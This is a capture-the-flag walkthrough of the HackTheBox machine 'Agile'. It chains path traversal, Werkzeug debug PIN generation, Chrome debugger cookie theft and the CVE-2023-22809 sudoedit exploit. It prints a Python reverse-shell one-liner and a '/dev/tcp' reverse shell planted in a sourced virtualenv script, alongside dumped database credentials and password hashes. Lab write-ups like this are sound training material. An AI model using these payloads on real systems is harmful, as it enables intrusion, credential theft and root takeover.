HackTheBox - Agile
Agile from HackTheBox is running a password manager vulnerable to path traversal, the website is using flask with debug mode allowing us to generate the pin code and get a reverse shell. Once on the machine we list processes and find chrome debugger running on a local port, we forward that port and get cookies of another user for the password manager where we find another password. This user has a sudo entry for sudoedit, the version of sudo has an exploit allowing us to edit sensitive files and get root.
Enumeration
nmap
We start an Nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}
.
-sC: run all the default scripts.
-sV: Find the version of services running on the target.
-T4: Aggressive scan to provide faster results.
1
2
3
4
5
6
7
8
9
10
11
12
Nmap scan report for 10.10.11.203
Host is up (0.29s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f4:bc:ee:21:d7:1f:1a:a2:65:72:21:2d:5b:a6:f7:00 (ECDSA)
|_ 256 65:c1:48:0d:88:cb:b9:75:a0:2c:a5:e6:37:7e:51:06 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We found two open ports, 22 running open ssh and 80 is apache withe the domain name supoerpass.htb
.
Web
Let’s navigate to the website after we add the domain to our /etc/hosts
So this is a password manager. I’ll register a user and login.
There is an export button, but since we have no data in the vault yet it gives us No passwords for user
. Let’s submit something.
Now when we click the export button it downloads a file containing the data we entered.
Let’s check the requests made on burp.
This reveals the /download
page used with fn
parameter to download the files.
If we wait a little bit and try to download the same file we get the following:
The files are in the /tmp
directory and they are getting deleted regularly.
Let’s try a path traversal to grab /etc/passwd
file.
It worked!.
Foothold
One thing we know so far, we have a path traversal vulnerability on the website, and the website is using Flask in debug mode. If we have the pin to access the console, we would have code execution. The good thing is that we can calculate the pin code by gathering some data using the path traversal and use the following python script to generate the pin.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
]
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Here is where we can find the important data for us.
username
: /proc/self/environ
Mac Address
: First read /proc/net/arp
to know the interface -> /sys/class/net/{interface}/address
and then transform with int("00:50:56:94:90:da".replace(':',''), 16)
machine_id
: /etc/machine-id
+ last string after the slash in /proc/self/cgroup
app.py path
: In the error page
In this box, we also need to change Flask
to wsgi_app
.
Now here is how our code should be. Let’s run it and generate a code and then submit in the website.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import hashlib
from itertools import chain
probably_public_bits = [
'www-data',
'flask.app'
'wsgi_app',
'/app/venv/lib/python3.10/site-packages/flask/app.py'
]
private_bits = [
'345049944887', # str(uuid.getnode()), /sys/class/net/ens33/address
'ed5b159560f54721827644bc9b220d00superpass.service' # get_machine_id(), /etc/machine-id
]
h = hashlib.sha1() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
# h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Now in the console I’ll execute the following python script to get a shell.
1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.9",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
1
2
3
4
5
6
7
8
9
10
11
12
13
[★]$ nc -lvnp 9001
Listening on 0.0.0.0 9001
Connection received on 10.10.11.203 46674
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
(venv) www-data@agile:/app/app$ export TERM=xterm
export TERM=xterm
(venv) www-data@agile:/app/app$ ^Z
zsh: suspended nc -lvnp 9001
★]$ stty raw -echo; fg
[1] + continued nc -lvnp 9001
(venv) www-data@agile:/app/app$
Privilege Escalation
On the /app
directory we find a config file with db credentials.
1
{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}
Let’s connect to the database and see what’s there.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
(venv) www-data@agile:/app$ mysql -u superpassuser -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 778
Server version: 8.0.32-0ubuntu0.22.04.2 (Ubuntu)
mysql> use superpass;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+---------------------+
| Tables_in_superpass |
+---------------------+
| passwords |
| users |
+---------------------+
2 rows in set (0.00 sec)
mysql> select * from users
-> ;
+----+----------+--------------------------------------------------------------------------------------------------------------------------+
| id | username | hashed_password |
+----+----------+--------------------------------------------------------------------------------------------------------------------------+
| 1 | 0xdf | $6$rounds=200000$FRtvqJFfrU7DSyT7$8eGzz8Yk7vTVKudEiFBCL1T7O4bXl0.yJlzN0jp.q0choSIBfMqvxVIjdjzStZUYg6mSRB2Vep0qELyyr0fqF. |
| 2 | corum | $6$rounds=200000$yRvGjY1MIzQelmMX$9273p66QtJQb9afrbAzugxVFaBhb9lyhp62cirpxJEOfmIlCy/LILzFxsyWj/mZwubzWylr3iaQ13e4zmfFfB1 |
| 9 | sirius | $6$rounds=200000$8f8PAKxVjQ2NucWl$zLR8Z4TagjmCPXupRCper.RfJzrL8j5Y4zIzzBjAQRtSmcbE8.XxegnClFyT57Uz5WWxF8n3U9FndsdxR.TWW1 |
+----+----------+--------------------------------------------------------------------------------------------------------------------------+
3 rows in set (0.00 sec)
mysql> select * from passwords;
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
| id | created_date | last_updated_data | url | username | password | user_id |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
| 3 | 2022-12-02 21:21:32 | 2022-12-02 21:21:32 | hackthebox.com | 0xdf | 762b430d32eea2f12970 | 1 |
| 4 | 2022-12-02 21:22:55 | 2022-12-02 21:22:55 | mgoblog.com | 0xdf | 5b133f7a6a1c180646cb | 1 |
| 6 | 2022-12-02 21:24:44 | 2022-12-02 21:24:44 | mgoblog | corum | 47ed1e73c955de230a1d | 2 |
| 7 | 2022-12-02 21:25:15 | 2022-12-02 21:25:15 | ticketmaster | corum | 9799588839ed0f98c211 | 2 |
| 8 | 2022-12-02 21:25:27 | 2022-12-02 21:25:27 | agile | corum | 5db7caa1d13cc37c9fc2 | 2 |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
We found hashed password that the website uses, and also the clear text passwords the users has saved on the password manager.
I checked the home directory and found three users.
1
2
$ ls /home
corum dev_admin edwards
User corum has saved three passwords, trying the last one i manager to switch to him.
1
2
3
4
(venv) www-data@agile:/app$ su corum
Password:
corum@agile:/app$ id
uid=1000(corum) gid=1000(corum) groups=1000(corum)
running linpeas I found the following.
We have chrome debugger running on port 41829.
Let’s forward that port:
1
ssh corum@superpass.htb -L 41829:127.0.0.1:41829
Now we open chrome and go to chrome://inspect/#devices
. We click Configure
and add 127.0.0.1:41829
We click inspect, and if we wait a little bit we can see some activity on test.superpass.htb
.
The nginx config file shows that this domain is linked to 127.0.0.1:5555
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
server {
listen 127.0.0.1:80;
server_name test.superpass.htb;
location /static {
alias /app/app-testing/superpass/static;
expires 365d;
}
location / {
include uwsgi_params;
proxy_pass http://127.0.0.1:5555;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-Protocol $scheme;
}
}
Let’s forward that port, copy the cookies to the website and refresh.
We got the session of use edwards
, let’s copy the password and login.
1
2
3
4
5
6
7
8
9
10
11
corum@agile:~$ su edwards
Password:
edwards@agile:/home/corum$ sudo -l
[sudo] password for edwards:
Matching Defaults entries for edwards on agile:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User edwards may run the following commands on agile:
(dev_admin : dev_admin) sudoedit /app/config_test.json
(dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
We can sudoedit as user dev_admin
.
1
2
3
4
5
6
7
edwards@agile:/app/venv/bin$ sudo -V
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9
The version running is vulnerable to CVE-2023-22809
.
In Sudo before 1.9.12p2, the sudoedit (aka -e) feature mishandles extra arguments passed in the user-provided environment variables (SUDO_EDITOR, VISUAL, and EDITOR), allowing a local attacker to append arbitrary entries to the list of files to process. This can lead to privilege escalation. Affected versions are 1.8.0 through 1.9.12.p1. The problem exists because a user-specified editor may contain a “–” argument that defeats a protection mechanism, e.g., an EDITOR=’vim – /path/to/extra/file’ value.
So for example if we run export EDITOR="vim -- /etc/passwd"
and then run sudoedit -u dev_admin /app/config_test.json
, it would open the /etc/passwd file inside vi instead of config_test.json file.
There are a lot of file I tried to read like history files for dev_admin and private ssh keys but didn’t find anything good.
Let’s search for files and directories that user dev_admin has permission over.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
edwards@agile:~$ find / -user dev_admin 2>/dev/null
/home/dev_admin
/app/app-testing/tests/functional/creds.txt
/app/config_test.json
/app/config_prod.json
edwards@agile:~$ find / -group dev_admin 2>/dev/null
/home/dev_admin
/app/venv
/app/venv/bin
/app/venv/bin/activate
/app/venv/bin/Activate.ps1
/app/venv/bin/activate.fish
/app/venv/bin/activate.csh
edwards@agile:~$ ls -l /app/venv/bin/activate
-rw-rw-r-- 1 root dev_admin 1976 Jul 13 19:03 /app/venv/bin/activate
The user has write permissions over /app/venv/bin/activate
.
If we look back to our first reverse shell we see that the shell we got is running with python venv.
1
(venv) www-data@agile:
If we check our path variable it gives this:
1
2
edwards@agile:~$ echo $PATH
/app/venv/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
We see that the venv is added to the path.
Checking my .bashrc
doesn’t show anything that is sourcing the python venv.
But if we check the global bashrc at /etc/bash.bashrc
we find it’s the one responsible for it.
1
2
3
4
edwards@agile:~$ cat /etc/bash.bashrc
[SNIP]
# all users will want the env associated with this application
source /app/venv/bin/activate
So every time a user logs in, bash will source the venv.
Since we have write permissions over activate, we can put a reverse shell for example that would be triggered when someones log in.
Let’s use the exploit of sudo to edit the file.
1
2
3
4
5
6
7
8
9
10
11
edwards@agile:~$ export EDITOR="vi -- /app/venv/bin/activate"
edwards@agile:~$ sudoedit -u dev_admin /app/config_test.json
sudoedit: --: Permission denied
2 files to edit
sudoedit: /app/config_test.json unchanged
edwards@agile:~$ head /app/venv/bin/activate
# This file must be used with "source bin/activate" *from bash*
# you cannot run it directly
sh -i >& /dev/tcp/10.10.16.18/4444 0>&1
Now we setup a listener and wait for someone to login.
1
2
3
4
5
6
[★]$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.11.203 45974
sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
Great! We got a root shell.
References
Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).